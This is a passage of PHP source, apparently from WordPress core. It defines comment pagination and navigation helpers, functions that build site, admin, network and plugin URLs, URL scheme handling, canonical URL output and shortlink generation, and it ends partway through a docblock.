function get_previous_comments_link( $label = '' ) {
	if ( ! is_singular() ) {
		return;
	}

	$page = get_query_var( 'cpage' );

	if ( (int) $page <= 1 ) {
		return;
	}

	$previous_page = (int) $page - 1;

	if ( empty( $label ) ) {
		$label = __( '&laquo; Older Comments' );
	}

	/**
	 * Filters the anchor tag attributes for the previous comments page link.
	 *
	 * @since 2.7.0
	 *
	 * @param string $attributes Attributes for the anchor tag.
	 */
	$attr = apply_filters( 'previous_comments_link_attributes', '' );

	return sprintf(
		'<a href="%1$s" %2$s>%3$s</a>',
		esc_url( get_comments_pagenum_link( $previous_page ) ),
		$attr,
		preg_replace( '/&([^#])(?![a-z]{1,8};)/i', '&#038;$1', $label )
	);
}

/**
 * Displays the link to the previous comments page.
 *
 * @since 2.7.0
 *
 * @param string $label Optional. Label for comments link text. Default empty.
 */
function previous_comments_link( $label = '' ) {
	echo get_previous_comments_link( $label );
}

/**
 * Displays or retrieves pagination links for the comments on the current post.
 *
 * @see paginate_links()
 * @since 2.7.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param string|array $args Optional args. See paginate_links(). Default empty array.
 * @return void|string|array Void if 'echo' argument is true and 'type' is not an array,
 *                           or if the query is not for an existing single post of any post type.
 *                           Otherwise, markup for comment page links or array of comment page links,
 *                           depending on 'type' argument.
 */
function paginate_comments_links( $args = array() ) {
	global $wp_rewrite;

	if ( ! is_singular() ) {
		return;
	}

	$page = get_query_var( 'cpage' );
	if ( ! $page ) {
		$page = 1;
	}
	$max_page = get_comment_pages_count();
	$defaults = array(
		'base'         => add_query_arg( 'cpage', '%#%' ),
		'format'       => '',
		'total'        => $max_page,
		'current'      => $page,
		'echo'         => true,
		'type'         => 'plain',
		'add_fragment' => '#comments',
	);
	if ( $wp_rewrite->using_permalinks() ) {
		$defaults['base'] = user_trailingslashit( trailingslashit( get_permalink() ) . $wp_rewrite->comments_pagination_base . '-%#%', 'commentpaged' );
	}

	$args       = wp_parse_args( $args, $defaults );
	$page_links = paginate_links( $args );

	if ( $args['echo'] && 'array' !== $args['type'] ) {
		echo $page_links;
	} else {
		return $page_links;
	}
}

/**
 * Retrieves navigation to next/previous set of comments, when applicable.
 *
 * @since 4.4.0
 * @since 5.3.0 Added the `aria_label` parameter.
 * @since 5.5.0 Added the `class` parameter.
 *
 * @param array $args {
 *     Optional. Default comments navigation arguments.
 *
 *     @type string $prev_text          Anchor text to display in the previous comments link.
 *                                      Default 'Older comments'.
 *     @type string $next_text          Anchor text to display in the next comments link.
 *                                      Default 'Newer comments'.
 *     @type string $screen_reader_text Screen reader text for the nav element. Default 'Comments navigation'.
 *     @type string $aria_label         ARIA label text for the nav element. Default 'Comments'.
 *     @type string $class              Custom class for the nav element. Default 'comment-navigation'.
 * }
 * @return string Markup for comments links.
 */
function get_the_comments_navigation( $args = array() ) {
	$navigation = '';

	// Are there comments to navigate through?
	if ( get_comment_pages_count() > 1 ) {
		// Make sure the nav element has an aria-label attribute: fallback to the screen reader text.
		if ( ! empty( $args['screen_reader_text'] ) && empty( $args['aria_label'] ) ) {
			$args['aria_label'] = $args['screen_reader_text'];
		}

		$args = wp_parse_args(
			$args,
			array(
				'prev_text'          => __( 'Older comments' ),
				'next_text'          => __( 'Newer comments' ),
				'screen_reader_text' => __( 'Comments navigation' ),
				'aria_label'         => __( 'Comments' ),
				'class'              => 'comment-navigation',
			)
		);

		$prev_link = get_previous_comments_link( $args['prev_text'] );
		$next_link = get_next_comments_link( $args['next_text'] );

		if ( $prev_link ) {
			$navigation .= '<div class="nav-previous">' . $prev_link . '</div>';
		}

		if ( $next_link ) {
			$navigation .= '<div class="nav-next">' . $next_link . '</div>';
		}

		$navigation = _navigation_markup( $navigation, $args['class'], $args['screen_reader_text'], $args['aria_label'] );
	}

	return $navigation;
}

/**
 * Displays navigation to next/previous set of comments, when applicable.
 *
 * @since 4.4.0
 *
 * @param array $args See get_the_comments_navigation() for available arguments. Default empty array.
 */
function the_comments_navigation( $args = array() ) {
	echo get_the_comments_navigation( $args );
}

/**
 * Retrieves a paginated navigation to next/previous set of comments, when applicable.
 *
 * @since 4.4.0
 * @since 5.3.0 Added the `aria_label` parameter.
 * @since 5.5.0 Added the `class` parameter.
 *
 * @see paginate_comments_links()
 *
 * @param array $args {
 *     Optional. Default pagination arguments.
 *
 *     @type string $screen_reader_text Screen reader text for the nav element. Default 'Comments navigation'.
 *     @type string $aria_label         ARIA label text for the nav element. Default 'Comments'.
 *     @type string $class              Custom class for the nav element. Default 'comments-pagination'.
 * }
 * @return string Markup for pagination links.
 */
function get_the_comments_pagination( $args = array() ) {
	$navigation = '';

	// Make sure the nav element has an aria-label attribute: fallback to the screen reader text.
	if ( ! empty( $args['screen_reader_text'] ) && empty( $args['aria_label'] ) ) {
		$args['aria_label'] = $args['screen_reader_text'];
	}

	$args         = wp_parse_args(
		$args,
		array(
			'screen_reader_text' => __( 'Comments navigation' ),
			'aria_label'         => __( 'Comments' ),
			'class'              => 'comments-pagination',
		)
	);
	$args['echo'] = false;

	// Make sure we get a string back. Plain is the next best thing.
	if ( isset( $args['type'] ) && 'array' === $args['type'] ) {
		$args['type'] = 'plain';
	}

	$links = paginate_comments_links( $args );

	if ( $links ) {
		$navigation = _navigation_markup( $links, $args['class'], $args['screen_reader_text'], $args['aria_label'] );
	}

	return $navigation;
}

/**
 * Displays a paginated navigation to next/previous set of comments, when applicable.
 *
 * @since 4.4.0
 *
 * @param array $args See get_the_comments_pagination() for available arguments. Default empty array.
 */
function the_comments_pagination( $args = array() ) {
	echo get_the_comments_pagination( $args );
}

/**
 * Retrieves the URL for the current site where the front end is accessible.
 *
 * Returns the 'home' option with the appropriate protocol. The protocol will be 'https'
 * if is_ssl() evaluates to true; otherwise, it will be the same as the 'home' option.
 * If `$scheme` is 'http' or 'https', is_ssl() is overridden.
 *
 * @since 3.0.0
 *
 * @param string      $path   Optional. Path relative to the home URL. Default empty.
 * @param string|null $scheme Optional. Scheme to give the home URL context. Accepts
 *                            'http', 'https', 'relative', 'rest', or null. Default null.
 * @return string Home URL link with optional path appended.
 */
function home_url( $path = '', $scheme = null ) {
	return get_home_url( null, $path, $scheme );
}

/**
 * Retrieves the URL for a given site where the front end is accessible.
 *
 * Returns the 'home' option with the appropriate protocol. The protocol will be 'https'
 * if is_ssl() evaluates to true; otherwise, it will be the same as the 'home' option.
 * If `$scheme` is 'http' or 'https', is_ssl() is overridden.
 *
 * @since 3.0.0
 *
 * @param int|null    $blog_id Optional. Site ID. Default null (current site).
 * @param string      $path    Optional. Path relative to the home URL. Default empty.
 * @param string|null $scheme  Optional. Scheme to give the home URL context. Accepts
 *                             'http', 'https', 'relative', 'rest', or null. Default null.
 * @return string Home URL link with optional path appended.
 */
function get_home_url( $blog_id = null, $path = '', $scheme = null ) {
	$orig_scheme = $scheme;

	if ( empty( $blog_id ) || ! is_multisite() ) {
		$url = get_option( 'home' );
	} else {
		switch_to_blog( $blog_id );
		$url = get_option( 'home' );
		restore_current_blog();
	}

	if ( ! in_array( $scheme, array( 'http', 'https', 'relative' ), true ) ) {
		if ( is_ssl() ) {
			$scheme = 'https';
		} else {
			$scheme = parse_url( $url, PHP_URL_SCHEME );
		}
	}

	$url = set_url_scheme( $url, $scheme );

	if ( $path && is_string( $path ) ) {
		$url .= '/' . ltrim( $path, '/' );
	}

	/**
	 * Filters the home URL.
	 *
	 * @since 3.0.0
	 *
	 * @param string      $url         The complete home URL including scheme and path.
	 * @param string      $path        Path relative to the home URL. Blank string if no path is specified.
	 * @param string|null $orig_scheme Scheme to give the home URL context. Accepts 'http', 'https',
	 *                                 'relative', 'rest', or null.
	 * @param int|null    $blog_id     Site ID, or null for the current site.
	 */
	return apply_filters( 'home_url', $url, $path, $orig_scheme, $blog_id );
}

/**
 * Retrieves the URL for the current site where WordPress application files
 * (e.g. wp-blog-header.php or the wp-admin/ folder) are accessible.
 *
 * Returns the 'site_url' option with the appropriate protocol, 'https' if
 * is_ssl() and 'http' otherwise. If $scheme is 'http' or 'https', is_ssl() is
 * overridden.
 *
 * @since 3.0.0
 *
 * @param string      $path   Optional. Path relative to the site URL. Default empty.
 * @param string|null $scheme Optional. Scheme to give the site URL context. See set_url_scheme().
 * @return string Site URL link with optional path appended.
 */
function site_url( $path = '', $scheme = null ) {
	return get_site_url( null, $path, $scheme );
}

/**
 * Retrieves the URL for a given site where WordPress application files
 * (e.g. wp-blog-header.php or the wp-admin/ folder) are accessible.
 *
 * Returns the 'site_url' option with the appropriate protocol, 'https' if
 * is_ssl() and 'http' otherwise. If `$scheme` is 'http' or 'https',
 * `is_ssl()` is overridden.
 *
 * @since 3.0.0
 *
 * @param int|null    $blog_id Optional. Site ID. Default null (current site).
 * @param string      $path    Optional. Path relative to the site URL. Default empty.
 * @param string|null $scheme  Optional. Scheme to give the site URL context. Accepts
 *                             'http', 'https', 'login', 'login_post', 'admin', or
 *                             'relative'. Default null.
 * @return string Site URL link with optional path appended.
 */
function get_site_url( $blog_id = null, $path = '', $scheme = null ) {
	if ( empty( $blog_id ) || ! is_multisite() ) {
		$url = get_option( 'siteurl' );
	} else {
		switch_to_blog( $blog_id );
		$url = get_option( 'siteurl' );
		restore_current_blog();
	}

	$url = set_url_scheme( $url, $scheme );

	if ( $path && is_string( $path ) ) {
		$url .= '/' . ltrim( $path, '/' );
	}

	/**
	 * Filters the site URL.
	 *
	 * @since 2.7.0
	 *
	 * @param string      $url     The complete site URL including scheme and path.
	 * @param string      $path    Path relative to the site URL. Blank string if no path is specified.
	 * @param string|null $scheme  Scheme to give the site URL context. Accepts 'http', 'https', 'login',
	 *                             'login_post', 'admin', 'relative' or null.
	 * @param int|null    $blog_id Site ID, or null for the current site.
	 */
	return apply_filters( 'site_url', $url, $path, $scheme, $blog_id );
}

/**
 * Retrieves the URL to the admin area for the current site.
 *
 * @since 2.6.0
 *
 * @param string $path   Optional. Path relative to the admin URL. Default empty.
 * @param string $scheme The scheme to use. Default is 'admin', which obeys force_ssl_admin() and is_ssl().
 *                       'http' or 'https' can be passed to force those schemes.
 * @return string Admin URL link with optional path appended.
 */
function admin_url( $path = '', $scheme = 'admin' ) {
	return get_admin_url( null, $path, $scheme );
}

/**
 * Retrieves the URL to the admin area for a given site.
 *
 * @since 3.0.0
 *
 * @param int|null $blog_id Optional. Site ID. Default null (current site).
 * @param string   $path    Optional. Path relative to the admin URL. Default empty.
 * @param string   $scheme  Optional. The scheme to use. Accepts 'http' or 'https',
 *                          to force those schemes. Default 'admin', which obeys
 *                          force_ssl_admin() and is_ssl().
 * @return string Admin URL link with optional path appended.
 */
function get_admin_url( $blog_id = null, $path = '', $scheme = 'admin' ) {
	$url = get_site_url( $blog_id, 'wp-admin/', $scheme );

	if ( $path && is_string( $path ) ) {
		$url .= ltrim( $path, '/' );
	}

	/**
	 * Filters the admin area URL.
	 *
	 * @since 2.8.0
	 * @since 5.8.0 The `$scheme` parameter was added.
	 *
	 * @param string      $url     The complete admin area URL including scheme and path.
	 * @param string      $path    Path relative to the admin area URL. Blank string if no path is specified.
	 * @param int|null    $blog_id Site ID, or null for the current site.
	 * @param string|null $scheme  The scheme to use. Accepts 'http', 'https',
	 *                             'admin', or null. Default 'admin', which obeys force_ssl_admin() and is_ssl().
	 */
	return apply_filters( 'admin_url', $url, $path, $blog_id, $scheme );
}

/**
 * Retrieves the URL to the includes directory.
 *
 * @since 2.6.0
 *
 * @param string      $path   Optional. Path relative to the includes URL. Default empty.
 * @param string|null $scheme Optional. Scheme to give the includes URL context. Accepts
 *                            'http', 'https', or 'relative'. Default null.
 * @return string Includes URL link with optional path appended.
 */
function includes_url( $path = '', $scheme = null ) {
	$url = site_url( '/' . WPINC . '/', $scheme );

	if ( $path && is_string( $path ) ) {
		$url .= ltrim( $path, '/' );
	}

	/**
	 * Filters the URL to the includes directory.
	 *
	 * @since 2.8.0
	 * @since 5.8.0 The `$scheme` parameter was added.
	 *
	 * @param string      $url    The complete URL to the includes directory including scheme and path.
	 * @param string      $path   Path relative to the URL to the wp-includes directory. Blank string
	 *                            if no path is specified.
	 * @param string|null $scheme Scheme to give the includes URL context. Accepts
	 *                            'http', 'https', 'relative', or null. Default null.
	 */
	return apply_filters( 'includes_url', $url, $path, $scheme );
}

/**
 * Retrieves the URL to the content directory.
 *
 * @since 2.6.0
 *
 * @param string $path Optional. Path relative to the content URL. Default empty.
 * @return string Content URL link with optional path appended.
 */
function content_url( $path = '' ) {
	$url = set_url_scheme( WP_CONTENT_URL );

	if ( $path && is_string( $path ) ) {
		$url .= '/' . ltrim( $path, '/' );
	}

	/**
	 * Filters the URL to the content directory.
	 *
	 * @since 2.8.0
	 *
	 * @param string $url  The complete URL to the content directory including scheme and path.
	 * @param string $path Path relative to the URL to the content directory. Blank string
	 *                     if no path is specified.
	 */
	return apply_filters( 'content_url', $url, $path );
}

/**
 * Retrieves a URL within the plugins or mu-plugins directory.
 *
 * Defaults to the plugins directory URL if no arguments are supplied.
 *
 * @since 2.6.0
 *
 * @param string $path   Optional. Extra path appended to the end of the URL, including
 *                       the relative directory if $plugin is supplied. Default empty.
 * @param string $plugin Optional. A full path to a file inside a plugin or mu-plugin.
 *                       The URL will be relative to its directory. Default empty.
 *                       Typically this is done by passing `__FILE__` as the argument.
 * @return string Plugins URL link with optional paths appended.
 */
function plugins_url( $path = '', $plugin = '' ) {

	$path          = wp_normalize_path( $path );
	$plugin        = wp_normalize_path( $plugin );
	$mu_plugin_dir = wp_normalize_path( WPMU_PLUGIN_DIR );

	if ( ! empty( $plugin ) && str_starts_with( $plugin, $mu_plugin_dir ) ) {
		$url = WPMU_PLUGIN_URL;
	} else {
		$url = WP_PLUGIN_URL;
	}

	$url = set_url_scheme( $url );

	if ( ! empty( $plugin ) && is_string( $plugin ) ) {
		$folder = dirname( plugin_basename( $plugin ) );
		if ( '.' !== $folder ) {
			$url .= '/' . ltrim( $folder, '/' );
		}
	}

	if ( $path && is_string( $path ) ) {
		$url .= '/' . ltrim( $path, '/' );
	}

	/**
	 * Filters the URL to the plugins directory.
	 *
	 * @since 2.8.0
	 *
	 * @param string $url    The complete URL to the plugins directory including scheme and path.
	 * @param string $path   Path relative to the URL to the plugins directory. Blank string
	 *                       if no path is specified.
	 * @param string $plugin The plugin file path to be relative to. Blank string if no plugin
	 *                       is specified.
	 */
	return apply_filters( 'plugins_url', $url, $path, $plugin );
}

/**
 * Retrieves the site URL for the current network.
 *
 * Returns the site URL with the appropriate protocol, 'https' if
 * is_ssl() and 'http' otherwise. If $scheme is 'http' or 'https', is_ssl() is
 * overridden.
 *
 * @since 3.0.0
 *
 * @see set_url_scheme()
 *
 * @param string      $path   Optional. Path relative to the site URL. Default empty.
 * @param string|null $scheme Optional. Scheme to give the site URL context. Accepts
 *                            'http', 'https', or 'relative'. Default null.
 * @return string Site URL link with optional path appended.
 */
function network_site_url( $path = '', $scheme = null ) {
	if ( ! is_multisite() ) {
		return site_url( $path, $scheme );
	}

	$current_network = get_network();

	if ( 'relative' === $scheme ) {
		$url = $current_network->path;
	} else {
		$url = set_url_scheme( 'http://' . $current_network->domain . $current_network->path, $scheme );
	}

	if ( $path && is_string( $path ) ) {
		$url .= ltrim( $path, '/' );
	}

	/**
	 * Filters the network site URL.
	 *
	 * @since 3.0.0
	 *
	 * @param string      $url    The complete network site URL including scheme and path.
	 * @param string      $path   Path relative to the network site URL. Blank string if
	 *                            no path is specified.
	 * @param string|null $scheme Scheme to give the URL context. Accepts 'http', 'https',
	 *                            'relative' or null.
	 */
	return apply_filters( 'network_site_url', $url, $path, $scheme );
}

/**
 * Retrieves the home URL for the current network.
 *
 * Returns the home URL with the appropriate protocol, 'https' is_ssl()
 * and 'http' otherwise. If `$scheme` is 'http' or 'https', `is_ssl()` is
 * overridden.
 *
 * @since 3.0.0
 *
 * @param string      $path   Optional. Path relative to the home URL. Default empty.
 * @param string|null $scheme Optional. Scheme to give the home URL context. Accepts
 *                            'http', 'https', or 'relative'. Default null.
 * @return string Home URL link with optional path appended.
 */
function network_home_url( $path = '', $scheme = null ) {
	if ( ! is_multisite() ) {
		return home_url( $path, $scheme );
	}

	$current_network = get_network();
	$orig_scheme     = $scheme;

	if ( ! in_array( $scheme, array( 'http', 'https', 'relative' ), true ) ) {
		$scheme = is_ssl() ? 'https' : 'http';
	}

	if ( 'relative' === $scheme ) {
		$url = $current_network->path;
	} else {
		$url = set_url_scheme( 'http://' . $current_network->domain . $current_network->path, $scheme );
	}

	if ( $path && is_string( $path ) ) {
		$url .= ltrim( $path, '/' );
	}

	/**
	 * Filters the network home URL.
	 *
	 * @since 3.0.0
	 *
	 * @param string      $url         The complete network home URL including scheme and path.
	 * @param string      $path        Path relative to the network home URL. Blank string
	 *                                 if no path is specified.
	 * @param string|null $orig_scheme Scheme to give the URL context. Accepts 'http', 'https',
	 *                                 'relative' or null.
	 */
	return apply_filters( 'network_home_url', $url, $path, $orig_scheme );
}

/**
 * Retrieves the URL to the admin area for the network.
 *
 * @since 3.0.0
 *
 * @param string $path   Optional path relative to the admin URL. Default empty.
 * @param string $scheme Optional. The scheme to use. Default is 'admin', which obeys force_ssl_admin()
 *                       and is_ssl(). 'http' or 'https' can be passed to force those schemes.
 * @return string Admin URL link with optional path appended.
 */
function network_admin_url( $path = '', $scheme = 'admin' ) {
	if ( ! is_multisite() ) {
		return admin_url( $path, $scheme );
	}

	$url = network_site_url( 'wp-admin/network/', $scheme );

	if ( $path && is_string( $path ) ) {
		$url .= ltrim( $path, '/' );
	}

	/**
	 * Filters the network admin URL.
	 *
	 * @since 3.0.0
	 * @since 5.8.0 The `$scheme` parameter was added.
	 *
	 * @param string      $url    The complete network admin URL including scheme and path.
	 * @param string      $path   Path relative to the network admin URL. Blank string if
	 *                            no path is specified.
	 * @param string|null $scheme The scheme to use. Accepts 'http', 'https',
	 *                            'admin', or null. Default is 'admin', which obeys force_ssl_admin() and is_ssl().
	 */
	return apply_filters( 'network_admin_url', $url, $path, $scheme );
}

/**
 * Retrieves the URL to the admin area for the current user.
 *
 * @since 3.0.0
 *
 * @param string $path   Optional. Path relative to the admin URL. Default empty.
 * @param string $scheme Optional. The scheme to use. Default is 'admin', which obeys force_ssl_admin()
 *                       and is_ssl(). 'http' or 'https' can be passed to force those schemes.
 * @return string Admin URL link with optional path appended.
 */
function user_admin_url( $path = '', $scheme = 'admin' ) {
	$url = network_site_url( 'wp-admin/user/', $scheme );

	if ( $path && is_string( $path ) ) {
		$url .= ltrim( $path, '/' );
	}

	/**
	 * Filters the user admin URL for the current user.
	 *
	 * @since 3.1.0
	 * @since 5.8.0 The `$scheme` parameter was added.
	 *
	 * @param string      $url    The complete URL including scheme and path.
	 * @param string      $path   Path relative to the URL. Blank string if
	 *                            no path is specified.
	 * @param string|null $scheme The scheme to use. Accepts 'http', 'https',
	 *                            'admin', or null. Default is 'admin', which obeys force_ssl_admin() and is_ssl().
	 */
	return apply_filters( 'user_admin_url', $url, $path, $scheme );
}

/**
 * Retrieves the URL to the admin area for either the current site or the network depending on context.
 *
 * @since 3.1.0
 *
 * @param string $path   Optional. Path relative to the admin URL. Default empty.
 * @param string $scheme Optional. The scheme to use. Default is 'admin', which obeys force_ssl_admin()
 *                       and is_ssl(). 'http' or 'https' can be passed to force those schemes.
 * @return string Admin URL link with optional path appended.
 */
function self_admin_url( $path = '', $scheme = 'admin' ) {
	if ( is_network_admin() ) {
		$url = network_admin_url( $path, $scheme );
	} elseif ( is_user_admin() ) {
		$url = user_admin_url( $path, $scheme );
	} else {
		$url = admin_url( $path, $scheme );
	}

	/**
	 * Filters the admin URL for the current site or network depending on context.
	 *
	 * @since 4.9.0
	 *
	 * @param string $url    The complete URL including scheme and path.
	 * @param string $path   Path relative to the URL. Blank string if no path is specified.
	 * @param string $scheme The scheme to use.
	 */
	return apply_filters( 'self_admin_url', $url, $path, $scheme );
}

/**
 * Sets the scheme for a URL.
 *
 * @since 3.4.0
 * @since 4.4.0 The 'rest' scheme was added.
 *
 * @param string      $url    Absolute URL that includes a scheme
 * @param string|null $scheme Optional. Scheme to give $url. Currently 'http', 'https', 'login',
 *                            'login_post', 'admin', 'relative', 'rest', 'rpc', or null. Default null.
 * @return string URL with chosen scheme.
 */
function set_url_scheme( $url, $scheme = null ) {
	$orig_scheme = $scheme;

	if ( ! $scheme ) {
		$scheme = is_ssl() ? 'https' : 'http';
	} elseif ( 'admin' === $scheme || 'login' === $scheme || 'login_post' === $scheme || 'rpc' === $scheme ) {
		$scheme = is_ssl() || force_ssl_admin() ? 'https' : 'http';
	} elseif ( 'http' !== $scheme && 'https' !== $scheme && 'relative' !== $scheme ) {
		$scheme = is_ssl() ? 'https' : 'http';
	}

	$url = trim( $url );
	if ( str_starts_with( $url, '//' ) ) {
		$url = 'http:' . $url;
	}

	if ( 'relative' === $scheme ) {
		$url = ltrim( preg_replace( '#^\w+://[^/]*#', '', $url ) );
		if ( '' !== $url && '/' === $url[0] ) {
			$url = '/' . ltrim( $url, "/ \t\n\r\0\x0B" );
		}
	} else {
		$url = preg_replace( '#^\w+://#', $scheme . '://', $url );
	}

	/**
	 * Filters the resulting URL after setting the scheme.
	 *
	 * @since 3.4.0
	 *
	 * @param string      $url         The complete URL including scheme and path.
	 * @param string      $scheme      Scheme applied to the URL. One of 'http', 'https', or 'relative'.
	 * @param string|null $orig_scheme Scheme requested for the URL. One of 'http', 'https', 'login',
	 *                                 'login_post', 'admin', 'relative', 'rest', 'rpc', or null.
	 */
	return apply_filters( 'set_url_scheme', $url, $scheme, $orig_scheme );
}

/**
 * Retrieves the URL to the user's dashboard.
 *
 * If a user does not belong to any site, the global user dashboard is used. If the user
 * belongs to the current site, the dashboard for the current site is returned. If the user
 * cannot edit the current site, the dashboard to the user's primary site is returned.
 *
 * @since 3.1.0
 *
 * @param int    $user_id Optional. User ID. Defaults to current user.
 * @param string $path    Optional path relative to the dashboard. Use only paths known to
 *                        both site and user admins. Default empty.
 * @param string $scheme  The scheme to use. Default is 'admin', which obeys force_ssl_admin()
 *                        and is_ssl(). 'http' or 'https' can be passed to force those schemes.
 * @return string Dashboard URL link with optional path appended.
 */
function get_dashboard_url( $user_id = 0, $path = '', $scheme = 'admin' ) {
	$user_id = $user_id ? (int) $user_id : get_current_user_id();

	$blogs = get_blogs_of_user( $user_id );

	if ( is_multisite() && ! user_can( $user_id, 'manage_network' ) && empty( $blogs ) ) {
		$url = user_admin_url( $path, $scheme );
	} elseif ( ! is_multisite() ) {
		$url = admin_url( $path, $scheme );
	} else {
		$current_blog = get_current_blog_id();

		if ( $current_blog && ( user_can( $user_id, 'manage_network' ) || in_array( $current_blog, array_keys( $blogs ), true ) ) ) {
			$url = admin_url( $path, $scheme );
		} else {
			$active = get_active_blog_for_user( $user_id );
			if ( $active ) {
				$url = get_admin_url( $active->blog_id, $path, $scheme );
			} else {
				$url = user_admin_url( $path, $scheme );
			}
		}
	}

	/**
	 * Filters the dashboard URL for a user.
	 *
	 * @since 3.1.0
	 *
	 * @param string $url     The complete URL including scheme and path.
	 * @param int    $user_id The user ID.
	 * @param string $path    Path relative to the URL. Blank string if no path is specified.
	 * @param string $scheme  Scheme to give the URL context. Accepts 'http', 'https', 'login',
	 *                        'login_post', 'admin', 'relative' or null.
	 */
	return apply_filters( 'user_dashboard_url', $url, $user_id, $path, $scheme );
}

/**
 * Retrieves the URL to the user's profile editor.
 *
 * @since 3.1.0
 *
 * @param int    $user_id Optional. User ID. Defaults to current user.
 * @param string $scheme  Optional. The scheme to use. Default is 'admin', which obeys force_ssl_admin()
 *                        and is_ssl(). 'http' or 'https' can be passed to force those schemes.
 * @return string Dashboard URL link with optional path appended.
 */
function get_edit_profile_url( $user_id = 0, $scheme = 'admin' ) {
	$user_id = $user_id ? (int) $user_id : get_current_user_id();

	if ( is_user_admin() ) {
		$url = user_admin_url( 'profile.php', $scheme );
	} elseif ( is_network_admin() ) {
		$url = network_admin_url( 'profile.php', $scheme );
	} else {
		$url = get_dashboard_url( $user_id, 'profile.php', $scheme );
	}

	/**
	 * Filters the URL for a user's profile editor.
	 *
	 * @since 3.1.0
	 *
	 * @param string $url     The complete URL including scheme and path.
	 * @param int    $user_id The user ID.
	 * @param string $scheme  Scheme to give the URL context. Accepts 'http', 'https', 'login',
	 *                        'login_post', 'admin', 'relative' or null.
	 */
	return apply_filters( 'edit_profile_url', $url, $user_id, $scheme );
}

/**
 * Returns the canonical URL for a post.
 *
 * When the post is the same as the current requested page the function will handle the
 * pagination arguments too.
 *
 * @since 4.6.0
 *
 * @param int|WP_Post $post Optional. Post ID or object. Default is global `$post`.
 * @return string|false The canonical URL. False if the post does not exist
 *                      or has not been published yet.
 */
function wp_get_canonical_url( $post = null ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return false;
	}

	if ( 'publish' !== $post->post_status ) {
		return false;
	}

	$canonical_url = get_permalink( $post );

	// If a canonical is being generated for the current page, make sure it has pagination if needed.
	if ( get_queried_object_id() === $post->ID ) {
		$page = get_query_var( 'page', 0 );
		if ( $page >= 2 ) {
			if ( ! get_option( 'permalink_structure' ) ) {
				$canonical_url = add_query_arg( 'page', $page, $canonical_url );
			} else {
				$canonical_url = trailingslashit( $canonical_url ) . user_trailingslashit( $page, 'single_paged' );
			}
		}

		$cpage = get_query_var( 'cpage', 0 );
		if ( $cpage ) {
			$canonical_url = get_comments_pagenum_link( $cpage );
		}
	}

	/**
	 * Filters the canonical URL for a post.
	 *
	 * @since 4.6.0
	 *
	 * @param string  $canonical_url The post's canonical URL.
	 * @param WP_Post $post          Post object.
	 */
	return apply_filters( 'get_canonical_url', $canonical_url, $post );
}

/**
 * Outputs rel=canonical for singular queries.
 *
 * @since 2.9.0
 * @since 4.6.0 Adjusted to use `wp_get_canonical_url()`.
 */
function rel_canonical() {
	if ( ! is_singular() ) {
		return;
	}

	$id = get_queried_object_id();

	if ( 0 === $id ) {
		return;
	}

	$url = wp_get_canonical_url( $id );

	if ( ! empty( $url ) ) {
		echo '<link rel="canonical" href="' . esc_url( $url ) . '" />' . "\n";
	}
}

/**
 * Returns a shortlink for a post, page, attachment, or site.
 *
 * This function exists to provide a shortlink tag that all themes and plugins can target.
 * A plugin must hook in to provide the actual shortlinks. Default shortlink support is
 * limited to providing ?p= style links for posts. Plugins can short-circuit this function
 * via the {@see 'pre_get_shortlink'} filter or filter the output via the {@see 'get_shortlink'}
 * filter.
 *
 * @since 3.0.0
 *
 * @param int    $id          Optional. A post or site ID. Default is 0, which means the current post or site.
 * @param string $context     Optional. Whether the ID is a 'site' ID, 'post' ID, or 'media' ID. If 'post',
 *                            the post_type of the post is consulted. If 'query', the current query is consulted
 *                            to determine the ID and context. Default 'post'.
 * @param bool   $allow_slugs Optional. Whether to allow post slugs in the shortlink. It is up to the plugin how
 *                            and whether to honor this. Default true.
 * @return string A shortlink or an empty string if no shortlink exists for the requested resource or if shortlinks
 *                are not enabled.
 */
function wp_get_shortlink( $id = 0, $context = 'post', $allow_slugs = true ) {
	/**
	 * Filters whether to preempt generating a shortlink for the given post.
	 *
	 * Returning a value other than false from the filter will short-circuit
	 * the shortlink generation process, returning that value instead.
	 *
	 * @since 3.0.0
	 *
	 * @param false|string $return      Short-circuit return value. Either false or a URL string.
	 * @param int          $id          Post ID, or 0 for the current post.
	 * @param string       $context     The context for the link. One of 'post' or 'query',
	 * @param bool         $allow_slugs Whether to allow post slugs in the shortlink.
	 */
	$shortlink = apply_filters( 'pre_get_shortlink', false, $id, $context, $allow_slugs );

	if ( false !== $shortlink ) {
		return $shortlink;
	}

	$post_id = 0;
	if ( 'query' === $context && is_singular() ) {
		$post_id = get_queried_object_id();
		$post    = get_post( $post_id );
	} elseif ( 'post' === $context ) {
		$post = get_post( $id );
		if ( ! empty( $post->ID ) ) {
			$post_id = $post->ID;
		}
	}

	$shortlink = '';

	// Return `?p=` link for all public post types.
	if ( ! empty( $post_id ) ) {
		$post_type = get_post_type_object( $post->post_type );

		if ( 'page' === $post->post_type && get_option( 'page_on_front' ) == $post->ID && 'page' === get_option( 'show_on_front' ) ) {
			$shortlink = home_url( '/' );
		} elseif ( $post_type && $post_type->public ) {
			$shortlink = home_url( '?p=' . $post_id );
		}
	}

	/**
	 * Filters the shortlink for a post.
	 *
	 * @since 3.0.0
	 *
	 * @param string $shortlink   Shortlink URL.
	 * @param int    $id          Post ID, or 0 for the current post.
	 * @param string $context     The context for the link. One of 'post' or 'query',
	 * @param bool   $allow_slugs Whether to allow post slugs in the shortlink. Not used by default.
	 */
	return apply_filters( 'get_shortlink', $shortlink, $id, $context, $allow_slugs );
}

/**
 * Injects rel=shortlink into the head if a shortlink is defined for the current page.
 *
 * Attached to the {@see 'wp_head'} action.
 *
 * @since 3.0.0
 */
function wp_shortlink_wp_head() {
	$shortlink = wp_get_shortlink( 0, 'query' );

	if ( empty( $shortlink ) ) {
		return;
	}

	echo "<link rel='shortlink' href='" . esc_url( $shortlink ) . "' />\n";
}

/**
 * Sends a Link: rel=shortlink header if a shortlink is defined for the current page.
 *
 * Attached to the {@see 'wp'} action.
 *
 * @since 3.0.0
 */
function wp_shortlink_header() {
	if ( headers_sent() ) {
		return;
	}

	$shortlink = wp_get_shortlink( 0, 'query' );

	if ( empty( $shortlink ) ) {
		return;
	}

	header( 'Link: <' . $shortlink . '>; rel=shortlink', false );
}

/**
 * Displays the shortlink for a post.
 *
 * Must be called from inside "The Loop"
 *
 * Call like the_shortlink( __( 'Shortlinkage FTW' ) )
 *
 * @since 3.0.0
 *
 * @param string $text   Optional The link text or HTML to be displayed. Defaults to 'This is the short link.'
 * @param string $title  Optional The tooltip for the link. Must be sanitized. Defaults to the sanitized post title.
 * @param string $before Optional HTML to display before the link. Default empty.
